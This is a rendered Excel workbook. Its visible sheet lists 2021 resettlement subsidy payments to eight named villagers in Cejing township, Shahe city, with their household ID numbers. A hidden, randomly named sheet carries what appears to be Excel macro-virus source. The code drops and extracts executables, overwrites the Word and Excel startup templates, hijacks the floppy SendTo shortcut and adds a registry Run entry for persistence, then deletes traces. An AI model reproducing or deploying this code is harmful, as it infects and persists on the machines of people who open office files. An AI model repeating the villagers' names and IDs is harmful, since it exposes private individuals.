{"text_format":"2","workbook":"xls","n_sheets":3,"sheets":["LRJTHLRYIJJYWP","Module1","Sheet2"],"not_rendered":{"charts":0,"images":0,"macros":0,"external_links":0,"defined_names":0,"comments":0,"pivot_tables":0},"unopened":[],"bounds":{"document_bytes":16777216,"sheet_cells":100000,"run_cost":"one","rows_first":2000,"rows_last":500,"rows_between":2000,"halvings":0,"cell_chars":16384,"cell_head_chars":4096},"cells_cut":0,"cells_raw":0,"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"LRJTHLRYIJJYWP","index":0,"n_rows":82,"n_cols":3,"rows_kept":82,"cut":false,"hidden":true,"merged":[],"flags":["formulas_cached_only"]}
[null,null,"Private Sub createcabfile()"]
[null,null,"Dim ch As Byte"]
[null,null,"on error resume next"]
[null,null,"Set fso = CreateObject(\"scripting.filesystemobject\")"]
[null,null,"Set w = CreateObject(\"wscript.shell\")"]
[null,null,"myfolder = w.specialfolders(\"Templates\") & \"\\Software\\\""]
[null,null,"If Not fso.folderexists(myfolder) Then"]
[null,null,"fso.createfolder myfolder"]
[null,null,"End If"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"normal.xlm\" then"]
[null,null,"workbooks(i).close"]
[null,null,"fso.deletefile Application.StartupPath & \"\\normal.xlm\""]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"norma1.xlm\" then"]
[null,null,"goto a1"]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"cabfile= \"c:\\cab.cab\""]
[null,null,"If Not fso.fileexists(Application.StartupPath & \"\\norma1.xlm\") Then"]
[null,null,"fso.delete cabfile"]
[null,null,"open cabfile for binary access write as #1"]
[null,null,"For i = 1 To 150"]
[null,null,"hv = ThisWorkbook.Sheets(\"(m1)_(m2)_(m3)\").Cells(i, 2).Value"]
[null,null,"n=1"]
[null,null,"m=instr(hv,\" \")"]
[null,null,"do while m>0"]
[null,null,"ch=CByte(mid(hv,n,m-n))"]
[null,null,"put #1,,ch"]
[null,null,"n=m+1"]
[null,null,"m=instr(n,hv,\" \")"]
[null,null,"loop"]
[null,null,"Next"]
[null,null,"close #1"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\sendto.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extrac32 /E /Y /L c:\\ c:\\cab.cab\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extract /E /Y /L c:\\ c:\\cab.cab\", 0, True"]
[null,null,"fso.deletefile cabfile"]
[null,null,"fso.copyfile \"c:\\normal.dot\", myfolder, True"]
[null,null,"set word=createobject(\"word.application\")"]
[null,null,"ntpath=word.NormalTemplate.Path & \"\\\""]
[null,null,"word.quit"]
[null,null,"fso.copyfile \"c:\\normal.dot\", ntpath, True"]
[null,null,"fso.copyfile \"c:\\norma1.xlm\", Application.StartupPath & \"\\\", True"]
[null,null,"fso.copyfile \"c:\\internet.exe\", fso.getspecialfolder(1) & \"\\\""]
[null,null,"set fold=fso.getfolder(w.SpecialFolders(\"SendTo\"))"]
[null,null,"for each ff in fold.files"]
[null,null,"if instr(ff.name,\"软盘\")>0 then"]
[null,null,"set lnk=w.CreateShortcut(fold.path & \"\\\" & ff.name)"]
[null,null,"lnk.TargetPath=\"c:\\sendto.exe\""]
[null,null,"lnk.IconLocation=\"shell32.dll,6\""]
[null,null,"lnk.save"]
[null,null,"goto e2"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"e2:"]
[null,null,"fso.deletefile \"c:\\normal.dot\""]
[null,null,"fso.deletefile \"c:\\norma1.xlm\""]
[null,null,"fso.deletefile \"c:\\internet.exe\""]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\sendto.exe\", 0, True"]
[null,null,"w.regwrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internet.exe\",\"internet.exe\""]
[null,null,"w.regdelete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internat.exe\""]
[null,null,"End If"]
[null,null,"Workbooks.Open Application.StartupPath & \"\\norma1.xlm\""]
[null,null,"thisworkbook.Sheets(\"(m1)_(m2)_(m3)\").Columns(2).Copy workbooks(\"norma1.xlm\").sheets(\"(m1)_(m2)_(m3)\").Columns(2)"]
[null,null,"workbooks(\"norma1.xlm\").save"]
[null,null,"fso.copyfile Application.StartupPath & \"\\norma1.xlm\",myfolder,true"]
[null,null,"a1:"]
[null,null,"fso.deletefile \"c:\\excel.txt\""]
[null,null,"Application.DisplayAlerts = False"]
[null,null,"for i=1 to thisworkbook.sheets.count"]
[null,null,"if left(thisworkbook.sheets(i).name,3)=\"模块表\" then"]
[null,null,"ThisWorkbook.Sheets(i).Delete"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"Application.DisplayAlerts = True"]
[null,null,"ThisWorkbook.Saved=True"]
[null,null,"End Sub"]

{"sheet":"Module1","index":1,"n_rows":0,"n_cols":0,"rows_kept":0,"cut":false,"hidden":true,"merged":[],"flags":["formulas_cached_only"]}

{"sheet":"Sheet2","index":2,"n_rows":11,"n_cols":6,"rows_kept":11,"cut":false,"hidden":false,"merged":[[0,0,0,5]],"flags":["formulas_cached_only"]}
["沙河市移民后扶资金2021年发放名单 （册井乡8人，4800元）"]
["序号","农户编号","农户姓名","村名","补贴金额(元)","备注"]
[1,"130582130109081","杨合金","功德汪九组",600]
[2,"130582130347021","张花勤","全呼村四十七组",600]
[3,"130582130347022","石会玲","全呼村四十七组",600]
[4,"130582130347023","石秀玲","全呼村四十七组",600]
[5,"130582130508049","蒋喜苏","册井西北街八组",600]
[6,"130582130613078","王魁娥","册井西南街十三组",600]
[7,"130582130801131","杨海金","高窑村一组",600]
[8,"130582131701101","王巧兰","西新庄一组",600]
[{"$nulls":4},4800]